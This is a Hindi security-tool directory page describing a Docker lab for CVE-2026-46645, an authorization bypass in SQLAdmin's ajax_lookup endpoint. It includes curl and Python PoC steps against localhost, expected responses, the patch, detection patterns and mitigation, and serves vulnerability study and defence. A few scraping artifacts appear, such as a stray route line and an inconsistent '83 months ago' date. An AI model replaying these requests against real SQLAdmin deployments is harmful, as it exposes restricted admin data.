Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-46645-Analysis-Lab — Docker-आधारित प्रयोगशाला CVE-2026-46645 को पुनः उत्पन्न करने के लिए, SQLAdmin के ajax_lookup एंडपॉइंट में प्राधिकरण बाईपास। इसमें कमजोर और पैच किए गए लक्ष्य, PoC स्क्रिप्ट, और सुरक्षा अनुसंधान और शिक्षा के लिए मैन्युअल curl पुनरुत्पादन चरण शामिल हैं। | Kitploit
उपकरण/GitHubGitHub/rootdirective-sec/cve-2026-46645-analysis-lab
भेद्यता विश्लेषणवेब एप्लिकेशन शोषणएपीआई सुरक्षा परीक्षणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubrootdirective-sec/cve-2026-46645-analysis-lab

CVE-2026-46645-Analysis-Lab

Docker-आधारित प्रयोगशाला CVE-2026-46645 को पुनः उत्पन्न करने के लिए, SQLAdmin के ajax_lookup एंडपॉइंट में प्राधिकरण बाईपास। इसमें कमजोर और पैच किए गए लक्ष्य, PoC स्क्रिप्ट, और सुरक्षा अनुसंधान और शिक्षा के लिए मैन्युअल curl पुनरुत्पादन चरण शामिल हैं।

रिपॉजिटरी देखें
83 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-46645 - SQLAdmin ajax_lookup Authorization Bypass

कार्यकारी सारांश

इस रिपॉजिटरी में CVE-2026-46645 को पुन: उत्पन्न करने के लिए एक स्थानीय Docker लैब शामिल है, जो SQLAdmin के ajax_lookup एंडपॉइंट को प्रभावित करने वाली एक प्राधिकरण बाईपास भेद्यता है।

SQLAdmin Starlette और FastAPI अनुप्रयोगों में SQLAlchemy मॉडल के लिए एक प्रशासन इंटरफ़ेस है। कमजोर व्यवहार तब होता है जब कोई एप्लिकेशन is_accessible(request) के साथ किसी ModelView को प्रतिबंधित करता है, लेकिन SQLAdmin का ajax_lookup रूट लुकअप परिणाम लौटाने से पहले उसी एक्सेस-नियंत्रण निर्णय को लागू नहीं करता है।

यह लैब दो SQLAdmin संस्करणों की तुलना करता है:

सेवाSQLAdmin संस्करणउद्देश्ययूआरएल
vuln0.25.0कमजोर लक्ष्यhttp://127.0.0.1:8001
patched0.25.1पैच किया गया तुलना लक्ष्यhttp://127.0.0.1:8002

प्रदर्शित भेद्यता श्रृंखला है:```text Authenticated low-privileged user → restricted SQLAdmin ModelView → ModelView.is_accessible(request) returns False → user directly requests the ajax_lookup endpoint → SQLAdmin 0.25.0 returns relationship lookup data → SQLAdmin 0.25.1 blocks the same request with HTTP 403

root@kitploit:~
यह प्रयोगशाला जानबूझकर एक सरल `Report` / `SecretProject` डेटा मॉडल का उपयोग करती है ताकि प्राधिकरण बाईपास को समझना आसान हो सके। ये मॉडल नाम भेद्यता का मूल कारण नहीं हैं। इनका उपयोग केवल एक नियंत्रित पुनरुत्पादन स्थिति बनाने के लिए किया जाता है।

यह प्रयोगशाला केवल नियंत्रित स्थानीय अनुसंधान, स्रोत-स्तरीय समझ और पोर्टफोलियो प्रदर्शन के लिए डिज़ाइन की गई है।

## सत्यापित तथ्य

| दावा                                                                 | साक्ष्य                                                                                                           | इस प्रयोगशाला में कैसे सत्यापित करें                                                                 |
| --------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------- |
| SQLAdmin का `ajax_lookup` एंडपॉइंट प्रभावित घटक है।          | सार्वजनिक सलाहकार प्रभावित एंडपॉइंट प्रारूप को `GET /{identity}/ajax/lookup?name=<field>&term=<query>` के रूप में वर्णित करता है। | PoC चलाएँ और `/admin/report/ajax/lookup?name=project&term=Secret` के अनुरोधों का निरीक्षण करें। |
| SQLAdmin `0.25.0` का उपयोग भेद्य तुलना लक्ष्य के रूप में किया जाता है।        | प्रयोगशाला `vuln` कंटेनर में `sqladmin==0.25.0` स्थापित करती है।                                                       | `docker compose exec -T vuln python -m pip show sqladmin` चलाएँ।                            |
| SQLAdmin `0.25.1` का उपयोग पैच किए गए तुलना लक्ष्य के रूप में किया जाता है।           | सार्वजनिक सलाहकार और रिलीज़ नोट `0.25.1` को निश्चित संस्करण के रूप में पहचानते हैं।                                          | `docker compose exec -T patched python -m pip show sqladmin` चलाएँ।                         |
| मूल कारण SQLAdmin के अपस्ट्रीम `Admin.ajax_lookup()` रूट में है। | पैच `ajax_lookup()` में गुम प्रमाणीकरण और `is_accessible(request)` प्रवर्तन जोड़ता है।                 | इस README में दिए गए कमांड के साथ दोनों कंटेनरों के अंदर `Admin.ajax_lookup()` का निरीक्षण करें।    |
| प्रयोगशाला एक प्रतिबंधित `ModelView` बनाती है।                             | `ReportAdmin.is_accessible(request)` जानबूझकर `False` लौटाता है।                                                | `app/main.py` का निरीक्षण करें।                                                                    |
| PoC एक प्रमाणित सत्र का उपयोग करता है।                                | PoC पहले `/admin/login` में लॉग इन करता है, सत्र कुकी रखता है, फिर `ajax_lookup` का अनुरोध करता है।                    | `python3 poc/poc.py --base-url http://127.0.0.1:8001` चलाएँ।                                |
| भेद्य संकेत डेटा एक्सपोज़र है।                               | SQLAdmin `0.25.0` एक प्रतिबंधित दृश्य से HTTP 200 और JSON लुकअप परिणाम लौटाता है।                                 | भेद्य लक्ष्य को `Secret Project Alpha` और `Secret Project Beta` वापस करना चाहिए।     |
| पैच किया गया संकेत पहुँच से इनकार है।                                  | SQLAdmin `0.25.1` उसी प्रमाणित अनुरोध के लिए HTTP 403 लौटाता है।                                             | पैच किए गए लक्ष्य को `403 Forbidden` वापस करना चाहिए।                                         |

## मान्यताएँ और अज्ञात

यह प्रयोगशाला भेद्य आधार रेखा के रूप में `sqladmin==0.25.0` और पैच किए गए आधार रेखा के रूप में `sqladmin==0.25.1` का उपयोग करती है।

प्रयोगशाला प्राधिकरण बाईपास स्थिति पर केंद्रित है जहाँ:```text
A user is authenticated,
the target ModelView is not accessible,
but ajax_lookup is requested directly.

लैब हर संभव SQLAdmin परिनियोजन पैटर्न को पुन: प्रस्तुत करने का प्रयास नहीं करती है। यह जानबूझकर एक छोटा Starlette एप्लिकेशन बनाती है जिसमें एक प्रतिबंधित एडमिन दृश्य होता है ताकि कमजोर और पैच किए गए संस्करणों के बीच व्यवहार का अंतर आसानी से सत्यापित किया जा सके।

Report और SecretProject मॉडल केवल लैब-विशिष्ट ऑब्जेक्ट हैं। ये स्वयं SQLAdmin का हिस्सा नहीं हैं।

PoC विशेषाधिकार वृद्धि, डेटा संशोधन, सत्र चोरी, बाहरी कॉलबैक, स्थायित्व, या गैर-लैब सिस्टम के विरुद्ध हमलों का प्रयास नहीं करता है।

मूल कारण सारांश

मूल कारण SQLAdmin के अपस्ट्रीम Admin.ajax_lookup() रूट में है, इस लैब के एप्लिकेशन कोड में नहीं।

SQLAdmin डेवलपर्स को एडमिन व्यूज़ तक पहुंच को प्रतिबंधित करने की अनुमति देता है, निम्नलिखित को ओवरराइड करके:```python ModelView.is_accessible(request)

root@kitploit:~
अन्य एडमिन रूट्स से अपेक्षा की जाती है कि वे अनुरोध को आगे बढ़ने देने से पहले इस एक्सेस-नियंत्रण निर्णय को लागू करें। उदाहरण के लिए, list, create, details, delete, edit और export जैसे रूट्स जाँचते हैं कि क्या वर्तमान अनुरोध लक्ष्य `ModelView` तक पहुँचने की अनुमति है।

कमजोर `ajax_lookup` रूट ने उसी एक्सेस-नियंत्रण निर्णय को लागू नहीं किया।

`ajax_lookup` एंडपॉइंट का उपयोग SQLAdmin की `form_ajax_refs` सुविधा द्वारा संबंध मानों को गतिशील रूप से लोड करने के लिए किया जाता है। इसका एंडपॉइंट प्रारूप है:

/@pk/str:pk/ajax/lookup

root@kitploit:~
/admin/<identity>/ajax/lookup?name=<field>&term=<query>
```
`ajax_lookup()` में, `ModelView` को लक्षित करता है, क्वेरी स्ट्रिंग से लुकअप फ़ील्ड का नाम और सर्च टर्म पढ़ता है, फिर AJAX लोडर को कॉल करता है और JSON परिणाम लौटाता है। सुरक्षा में कमी यह है कि यह पहले यह जाँच नहीं करता कि वर्तमान अनुरोध उस `ModelView` तक पहुँचने की अनुमति रखता है या नहीं।

सुरक्षा प्रभाव यह है कि एक प्रमाणित उपयोगकर्ता सामान्य UI मार्गों के माध्यम से एक प्रतिबंधित व्यवस्थापक दृश्य तक पहुँचने से अवरुद्ध हो सकता है, लेकिन फिर भी वह उस दृश्य के लिए सीधे AJAX लुकअप एंडपॉइंट का अनुरोध कर सकता है और संबंध लुकअप डेटा प्राप्त कर सकता है।

SQLAdmin `0.25.1` `ajax_lookup()` के अंदर एक्सेस कंट्रोल लागू करके इस समस्या को ठीक करता है। पैच किए गए रूट में `model_view.is_accessible(request)` की जाँच की जाती है और जब लक्ष्य दृश्य सुलभ नहीं होता है तो HTTP 403 लौटाया जाता है।

यह लैब `ReportAdmin.is_accessible(request)` को केवल कमजोर स्थिति को पुन: उत्पन्न करने के लिए `False` लौटाने के लिए परिभाषित करता है। लैब कोड मूल कारण नहीं है। यह एक नियंत्रित परीक्षण वातावरण है जो यह साबित करता है कि SQLAdmin का अपस्ट्रीम `ajax_lookup()` रूट एक्सेस-कंट्रोल निर्णय का सम्मान करता है या नहीं।

अपेक्षित व्यवहार अंतर:```text
sqladmin 0.25.0 -> HTTP 200 with JSON lookup results
sqladmin 0.25.1 -> HTTP 403 Forbidden
```
## स्रोत पैच सारांश

महत्वपूर्ण अपस्ट्रीम पैच `Admin.ajax_lookup()` में प्रमाणीकरण और प्राधिकरण प्रवर्तन का जोड़ना है।

पैच किया गया व्यवहार निम्नलिखित के बराबर है:```python
@login_required
async def ajax_lookup(self, request):
    identity = request.path_params["identity"]
    model_view = self._find_model_view(identity)

    if not model_view.is_accessible(request):
        raise HTTPException(status_code=403)

    name = request.query_params.get("name")
    term = request.query_params.get("term")
    ...
```
मुख्य प्राधिकरण जांच है:```python
if not model_view.is_accessible(request):
    raise HTTPException(status_code=403)
```
यह लैब प्रदर्शित करता है कि यह जांच असुरक्षित संस्करण में अनुपस्थित है और पैच किए गए संस्करण में मौजूद है।

## लैब आर्किटेक्चर

यह लैब Docker Compose के माध्यम से दो पृथक Starlette एप्लिकेशन चलाता है।```text
.
├── app/
│   ├── __init__.py
│   └── main.py
├── docker-compose.yml
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── README.md
├── requirements/
│   ├── patched.txt
│   └── vuln.txt
└── vuln/
    └── Dockerfile
```
दोनों सेवाएं समान एप्लिकेशन कोड चलाती हैं लेकिन विभिन्न SQLAdmin संस्करण स्थापित करती हैं:

| Service   |    Package version | Port mapping             |
| --------- | -----------------: | ------------------------ |
| `vuln`    | `sqladmin==0.25.0` | `127.0.0.1:8001 -> 8000` |
| `patched` | `sqladmin==0.25.1` | `127.0.0.1:8002 -> 8000` |

एप्लिकेशन दो SQLAlchemy मॉडल बनाता है:```text
SecretProject
Report
```
`Report` का `SecretProject` से संबंध है:```text
Report.project -> SecretProject
```
`ReportAdmin` एक AJAX संबंध लुकअप को परिभाषित करता है:```python
form_ajax_refs = {
    "project": {
        "fields": ("name",),
        "order_by": "name",
        "limit": 10,
    }
}
```
सीमित प्रशासक दृश्य है:```python
class ReportAdmin(ModelView, model=Report):
    def is_accessible(self, request):
        return False
```
यह जानबूझकर वह स्थिति बनाता है जो यह जांचने के लिए आवश्यक है कि क्या SQLAdmin का `ajax_lookup()` रूट `is_accessible()` को लागू करता है।

PoC द्वारा उपयोग किया गया कमजोर एंडपॉइंट है:```text
/admin/report/ajax/lookup?name=project&term=Secret
```
डिफ़ॉल्ट लैब क्रेडेंशियल्स:```text
username: analyst
password: lab-password
```
## आवश्यकताएँ

* Docker Desktop या Docker Engine
* Docker Compose v2
* Python 3
* होस्ट से PoC चलाने के लिए Python `requests` पैकेज
* मैन्युअल HTTP पुनरुत्पादन के लिए `curl`
* PyPI से Python पैकेज स्थापित करने के लिए इमेज बिल्ड के दौरान इंटरनेट एक्सेस

यदि आवश्यक हो तो होस्ट पर PoC निर्भरता स्थापित करें:```bash
python3 -m pip install requests
```
## त्वरित प्रारंभ

लैब बनाएं और शुरू करें:```bash
docker compose down --remove-orphans
docker compose up --build -d
```
कंटेनर स्थिति जांचें:```bash
docker compose ps
```
अपेक्षित उजागर सेवाएँ:```text
Vulnerable target: http://127.0.0.1:8001
Patched target:    http://127.0.0.1:8002
```
स्वास्थ्य एंडपॉइंट की जांच करें:```bash
curl -i http://127.0.0.1:8001/health
curl -i http://127.0.0.1:8002/health
```
दोनों को वापस करना चाहिए:```json
{"status":"ok"}
```
यदि चाहें तो ब्राउज़र में एडमिन UI खोलें:```text
http://127.0.0.1:8001/admin
http://127.0.0.1:8002/admin
```
लॉगिन क्रेडेंशियल:```text
analyst / lab-password
```
## PoC उपयोग

कमजोर सेवा के विरुद्ध PoC चलाएँ:```bash
python3 poc/poc.py \
  --base-url http://127.0.0.1:8001 \
  --label "sqladmin 0.25.0 vulnerable"
```
पैच की गई सेवा के विरुद्ध वही PoC चलाएं:```bash
python3 poc/poc.py \
  --base-url http://127.0.0.1:8002 \
  --label "sqladmin 0.25.1 patched"
```
PoC निम्नलिखित चरणों को निष्पादित करता है:```text
1. Send POST /admin/login with the lab credentials.
2. Keep the returned session cookie.
3. Send GET /admin/report/ajax/lookup?name=project&term=Secret.
4. Print the HTTP status, content type, response body, and interpretation.
```
The PoC जानबूझकर अनुरोध और प्रतिक्रिया प्रवाह को प्रिंट करता है ताकि प्राधिकरण बायपास पाठक को दिखाई दे।

## curl के साथ मैन्युअल HTTP पुनरुत्पादन

आप `poc/poc.py` का उपयोग किए बिना मैन्युअल रूप से भेद्यता को पुन: उत्पन्न कर सकते हैं।

यह तब उपयोगी होता है जब आप सटीक HTTP प्रवाह दिखाना चाहते हैं:```text
login
→ save session cookie
→ send ajax_lookup request
→ compare vulnerable and patched responses
```
### कमजोर लक्ष्य

कमजोर लक्ष्य URL सेट करें:```bash
TARGET="http://127.0.0.1:8001"
COOKIE_JAR="/tmp/cve-2026-46645-vuln.cookies"
```
प्रयोगशाला उपयोगकर्ता के रूप में लॉगिन करें और सत्र कुकी सहेजें:```bash
curl -i -s -L \
  -c "$COOKIE_JAR" \
  -b "$COOKIE_JAR" \
  -X POST "$TARGET/admin/login" \
  -d "username=analyst" \
  -d "password=lab-password"
```
प्रतिबंधित `ajax_lookup` अनुरोध भेजें:```bash
curl -i -s \
  -b "$COOKIE_JAR" \
  "$TARGET/admin/report/ajax/lookup?name=project&term=Secret"
```
अपेक्षित कमजोर परिणाम:```http
HTTP/1.1 200 OK
content-type: application/json
```
अपेक्षित मुख्य भाग:```json
{
  "results": [
    {
      "id": "1",
      "text": "Secret Project Alpha"
    },
    {
      "id": "2",
      "text": "Secret Project Beta"
    }
  ]
}
```
यह संवेदनशील व्यवहार की पुष्टि करता है क्योंकि अनुरोध प्रमाणित है, `ReportAdmin.is_accessible(request)` `False` लौटाता है, लेकिन SQLAdmin `0.25.0` अभी भी लुकअप डेटा लौटाता है।

### पैच किया गया लक्ष्य

पैच किए गए लक्ष्य URL को सेट करें:```bash
TARGET="http://127.0.0.1:8002"
COOKIE_JAR="/tmp/cve-2026-46645-patched.cookies"
```
उसी लैब उपयोगकर्ता के रूप में लॉगिन करें:```bash
curl -i -s -L \
  -c "$COOKIE_JAR" \
  -b "$COOKIE_JAR" \
  -X POST "$TARGET/admin/login" \
  -d "username=analyst" \
  -d "password=lab-password"
```
वही प्रतिबंधित `ajax_lookup` अनुरोध भेजें:```bash
curl -i -s \
  -b "$COOKIE_JAR" \
  "$TARGET/admin/report/ajax/lookup?name=project&term=Secret"
```
अपेक्षित पैच परिणाम:```http
HTTP/1.1 403 Forbidden
```
यह पैच किए गए व्यवहार की पुष्टि करता है क्योंकि SQLAdmin `0.25.1` `ajax_lookup()` के अंदर गायब `ModelView.is_accessible(request)` जांच को लागू करता है।

### एक-पंक्ति तुलना

असुरक्षित सेवा:```bash
curl -s -L \
  -c /tmp/cve-2026-46645-vuln.cookies \
  -b /tmp/cve-2026-46645-vuln.cookies \
  -X POST http://127.0.0.1:8001/admin/login \
  -d "username=analyst" \
  -d "password=lab-password" >/dev/null && \
curl -i -s \
  -b /tmp/cve-2026-46645-vuln.cookies \
  "http://127.0.0.1:8001/admin/report/ajax/lookup?name=project&term=Secret"
```
पैच किया गया सेवा:```bash
curl -s -L \
  -c /tmp/cve-2026-46645-patched.cookies \
  -b /tmp/cve-2026-46645-patched.cookies \
  -X POST http://127.0.0.1:8002/admin/login \
  -d "username=analyst" \
  -d "password=lab-password" >/dev/null && \
curl -i -s \
  -b /tmp/cve-2026-46645-patched.cookies \
  "http://127.0.0.1:8002/admin/report/ajax/lookup?name=project&term=Secret"
```
अपेक्षित तुलना:```text
sqladmin 0.25.0 -> HTTP 200 + JSON lookup results
sqladmin 0.25.1 -> HTTP 403 Forbidden
```
## अपेक्षित आउटपुट

असुरक्षित लक्ष्य:```text
================================================================================
Target: sqladmin 0.25.0 vulnerable
================================================================================
Base URL      : http://127.0.0.1:8001
Login URL     : http://127.0.0.1:8001/admin/login
Lookup URL    : http://127.0.0.1:8001/admin/report/ajax/lookup
Lookup params : name='project', term='Secret'

================================================================================
Step 1 - Login as authenticated low-privileged user
================================================================================
Request:
POST http://127.0.0.1:8001/admin/login
form username='analyst'
form password=<hidden>

Response:
HTTP status : 200
Final URL   : http://127.0.0.1:8001/admin/
Cookies     : {'session': '<redacted>'}

================================================================================
Step 2 - Send ajax_lookup request to restricted ModelView
================================================================================
Request:
GET http://127.0.0.1:8001/admin/report/ajax/lookup?name=project&term=Secret

Security condition:
- The user is authenticated.
- ReportAdmin.is_accessible(request) returns False.
- A restricted admin ModelView should not expose lookup data.

Response:
HTTP status  : 200
Content-Type : application/json

Body:
{
  "results": [
    {
      "id": "1",
      "text": "Secret Project Alpha"
    },
    {
      "id": "2",
      "text": "Secret Project Beta"
    }
  ]
}

================================================================================
Step 3 - Interpretation
================================================================================
[VULNERABLE SIGNAL]
The restricted ajax_lookup endpoint returned HTTP 200 and JSON results.
This means an authenticated user could query lookup data even though
ReportAdmin.is_accessible(request) returned False.
```
पैच किया गया लक्ष्य:```text
================================================================================
Target: sqladmin 0.25.1 patched
================================================================================
Base URL      : http://127.0.0.1:8002
Login URL     : http://127.0.0.1:8002/admin/login
Lookup URL    : http://127.0.0.1:8002/admin/report/ajax/lookup
Lookup params : name='project', term='Secret'

================================================================================
Step 1 - Login as authenticated low-privileged user
================================================================================
Request:
POST http://127.0.0.1:8002/admin/login
form username='analyst'
form password=<hidden>

Response:
HTTP status : 200
Final URL   : http://127.0.0.1:8002/admin/
Cookies     : {'session': '<redacted>'}

================================================================================
Step 2 - Send ajax_lookup request to restricted ModelView
================================================================================
Request:
GET http://127.0.0.1:8002/admin/report/ajax/lookup?name=project&term=Secret

Security condition:
- The user is authenticated.
- ReportAdmin.is_accessible(request) returns False.
- A restricted admin ModelView should not expose lookup data.

Response:
HTTP status  : 403
Content-Type : text/html; charset=utf-8

================================================================================
Step 3 - Interpretation
================================================================================
[PATCHED SIGNAL]
The restricted ajax_lookup endpoint returned HTTP 403.
This matches the patched behavior introduced in SQLAdmin 0.25.1.
```
## PoC कैसे काम करता है

PoC Python `requests` लाइब्रेरी और एक स्थायी `requests.Session()` ऑब्जेक्ट का उपयोग करता है।

सबसे पहले, यह SQLAdmin में प्रमाणीकरण करता है:```text
POST /admin/login
```
प्रयोगशाला क्रेडेंशियल के साथ:```text
analyst / lab-password
```
लॉगिन के बाद, सत्र ऑब्जेक्ट लौटाए गए सत्र कुकी को रखता है।

फिर PoC प्रतिबंधित AJAX लुकअप अनुरोध भेजता है:```text
GET /admin/report/ajax/lookup?name=project&term=Secret
```
लैब एप्लिकेशन में, यह अनुरोध `ReportAdmin` को लक्षित करता है।

`ReportAdmin` जानबूझकर पहुँच से बाहर है:```python
def is_accessible(self, request):
    return False
```
यह प्रयोगशाला की स्थिति है। यह अपस्ट्रीम कमजोरी नहीं है।

जिस सुरक्षा प्रश्न का परीक्षण किया जा रहा है वह है:```text
Does SQLAdmin's upstream ajax_lookup route enforce the ModelView access decision?
```
On SQLAdmin `0.25.0` पर, एंडपॉइंट HTTP 200 और JSON लुकअप परिणाम लौटाता है। यह कमजोर व्यवहार की पुष्टि करता है।

On SQLAdmin `0.25.1` पर, एंडपॉइंट HTTP 403 लौटाता है। यह पैच किए गए व्यवहार की पुष्टि करता है।

## उपयोगी सत्यापन आदेश

चल रहे कंटेनरों की जाँच करें:```bash
docker compose ps
```
सेवा लॉग की जाँच करें:```bash
docker compose logs vuln patched
```
इंस्टॉल किए गए SQLAdmin संस्करणों की जाँच करें:```bash
docker compose exec -T vuln python -m pip show sqladmin
docker compose exec -T patched python -m pip show sqladmin
```
अपेक्षित संस्करण:```text
vuln    -> Version: 0.25.0
patched -> Version: 0.25.1
```
PoC को फिर से चलाएँ:```bash
python3 poc/poc.py \
  --base-url http://127.0.0.1:8001 \
  --label "sqladmin 0.25.0 vulnerable"
```
INPUT:```bash
python3 poc/poc.py \
  --base-url http://127.0.0.1:8002 \
  --label "sqladmin 0.25.1 patched"
```
सबूत आउटपुट सहेजें:```bash
mkdir -p evidence

python3 poc/poc.py \
  --base-url http://127.0.0.1:8001 \
  --label "sqladmin 0.25.0 vulnerable" \
  | tee evidence/poc-vuln-0.25.0.txt

python3 poc/poc.py \
  --base-url http://127.0.0.1:8002 \
  --label "sqladmin 0.25.1 patched" \
  | tee evidence/poc-patched-0.25.1.txt

docker compose ps | tee evidence/docker-compose-ps.txt
docker compose logs vuln patched > evidence/docker-compose-logs.txt
```
स्थापित कमजोर स्रोत का निरीक्षण करें:```bash
docker compose exec -T vuln python - <<'PY'
import inspect
import sqladmin.application

print(sqladmin.application.__file__)
print(inspect.getsource(sqladmin.application.Admin.ajax_lookup))
PY
```
स्थापित पैच किए गए स्रोत का निरीक्षण करें:```bash
docker compose exec -T patched python - <<'PY'
import inspect
import sqladmin.application

print(sqladmin.application.__file__)
print(inspect.getsource(sqladmin.application.Admin.ajax_lookup))
PY
```
कमजोर संस्करण को `ajax_lookup()` के अंदर `model_view.is_accessible(request)` को लागू नहीं करना चाहिए।

पैच किए गए संस्करण में इसके समकक्ष एक प्राधिकरण जांच शामिल होनी चाहिए:```python
if not model_view.is_accessible(request):
    raise HTTPException(status_code=403)
```
## पहचान और निगरानी

SQLAdmin का उपयोग करने वाले वास्तविक अनुप्रयोग में, संदिग्ध गतिविधि AJAX लुकअप एंडपॉइंट्स पर सीधे अनुरोधों के रूप में दिखाई दे सकती है:```text
/admin/<identity>/ajax/lookup?name=<field>&term=<query>
```
इस प्रयोगशाला के लिए, उपयोगी लॉग संकेतकों में शामिल हैं:```text
GET /admin/report/ajax/lookup?name=project&term=Secret
```
अपेक्षित असुरक्षित लॉग पैटर्न:```text
GET /admin/report/ajax/lookup?name=project&term=Secret HTTP/1.1" 200 OK
```
अपेक्षित पैच लॉग पैटर्न:```text
GET /admin/report/ajax/lookup?name=project&term=Secret HTTP/1.1" 403 Forbidden
```
उत्पादन निगरानी के संभावित विचार:

* `/ajax/lookup` endpoints तक सीधी पहुंच की समीक्षा करें,
* लुकअप पहुंच की तुलना अपेक्षित एडमिन UI वर्कफ़्लो से करें,
* निम्न-विशेषाधिकार वाले खातों से बार-बार लुकअप शर्तों की निगरानी करें,
* संवेदनशील `ModelView` वर्गों द्वारा `form_ajax_refs` के उपयोग की समीक्षा करें,
* जांचें कि क्या प्रतिबंधित मॉडल व्यू अभी भी संबंध लुकअप के माध्यम से उजागर हुए हैं।

## Mitigation and Patch Notes

SQLAdmin को `0.25.1` या उससे नए संस्करण में अपग्रेड करें।

पैच `ajax_lookup` रूट में गायब एक्सेस-नियंत्रण प्रवर्तन जोड़ता है। पैच किया गया एंडपॉइंट जांचता है कि क्या वर्तमान अनुरोध को लक्ष्य `ModelView` तक पहुंच की अनुमति है। यदि `is_accessible(request)` `False` लौटाता है, तो अनुरोध HTTP 403 के साथ अवरुद्ध कर दिया जाता है।

एप्लिकेशन-स्तरीय सुरक्षा सुदृढ़ीकरण सिफारिशें:

* SQLAdmin को पैच किए गए संस्करण में अपग्रेड करें,
* सभी कस्टम `ModelView.is_accessible()` कार्यान्वयनों की समीक्षा करें,
* जब तक आवश्यक न हो, `form_ajax_refs` के माध्यम से संवेदनशील संबंध लुकअप को उजागर करने से बचें,
* प्रतिबंधित एडमिन व्यू का परीक्षण सामान्य UI रूट्स और AJAX लुकअप रूट्स दोनों के माध्यम से करें,
* `/admin/*/ajax/lookup` endpoints तक पहुंच की निगरानी करें,
* सुनिश्चित करें कि एडमिन प्रमाणीकरण और सत्र प्रबंधन सही ढंग से कॉन्फ़िगर किए गए हैं।

## Cleanup

कंटेनर और नेटवर्क रोकें और हटाएं:```bash
docker compose down --remove-orphans
```
कंटेनर, नेटवर्क और अनाम वॉल्यूम हटाएं:```bash
docker compose down -v --remove-orphans
```
यदि वांछित हो तो स्थानीय रूप से निर्मित छवियों को हटाएं:```bash
docker image rm \
  cve-2026-46645-sqladmin-vuln:0.25.0 \
  cve-2026-46645-sqladmin-patched:0.25.1 \
  2>/dev/null || true
```
यदि चाहें तो साक्ष्य फ़ाइलें हटाएँ:```bash
rm -rf evidence/
```
## सुरक्षा सीमाएँ

यह लैब केवल स्थानीय सुरक्षा अनुसंधान और नियंत्रित प्रदर्शन के लिए है।

PoC को उन प्रणालियों पर न चलाएँ जिनके आप स्वामी नहीं हैं या जिनका परीक्षण करने की आपके पास अनुमति नहीं है।

इस लैब में वास्तविक क्रेडेंशियल, उत्पादन रहस्य या बाहरी लक्ष्यों का उपयोग न करें।

PoC जानबूझकर केवल स्थानीय Docker सेवाओं तक सीमित है जैसे:```text
http://127.0.0.1:8001
http://127.0.0.1:8002
```
PoC में क्रेडेंशियल चोरी, डेटा संशोधन, स्थिरता, पार्श्व गति, या बाहरी कॉलबैक के लिए पेलोड शामिल नहीं हैं।

उद्देश्य एक नियंत्रित वातावरण में एक विशिष्ट प्राधिकरण बाईपास स्थिति का प्रदर्शन करना है:```text
authenticated user
+ restricted ModelView
+ ajax_lookup request
+ vulnerable version returns data
+ patched version returns 403
```
## संदर्भ

- GitHub सलाहकार डेटाबेस: ajax_lookup पर SQLAdmin प्राधिकरण बाईपास  
  https://github.com/advisories/GHSA-54mc-gghv-4cfj

- OSV सलाहकार: GHSA-54mc-gghv-4cfj / CVE-2026-46645  
  https://osv.dev/vulnerability/GHSA-54mc-gghv-4cfj

- SQLAdmin रिलीज़ 0.25.1  
  https://github.com/smithyhq/sqladmin/releases/tag/0.25.1

- SQLAdmin तुलना: 0.25.0 से 0.25.1  
  https://github.com/smithyhq/sqladmin/compare/0.25.0...0.25.1

- SQLAdmin 0.25.0 application.py  
  https://github.com/smithyhq/sqladmin/blob/0.25.0/sqladmin/application.py

- SQLAdmin 0.25.1 application.py  
  https://github.com/smithyhq/sqladmin/blob/0.25.1/sqladmin/application.py

- SQLAdmin प्रमाणीकरण परीक्षण  
  https://github.com/smithyhq/sqladmin/blob/0.25.1/tests/test_authentication.py

- SQLAdmin AJAX परीक्षण  
  https://github.com/smithyhq/sqladmin/blob/0.25.1/tests/test_ajax.py

- PyPI: sqladmin  
  https://pypi.org/project/sqladmin/

- SQLAdmin GitHub रिपॉजिटरी  
  https://github.com/smithyhq/sqladmin
टूल डाउनलोड करें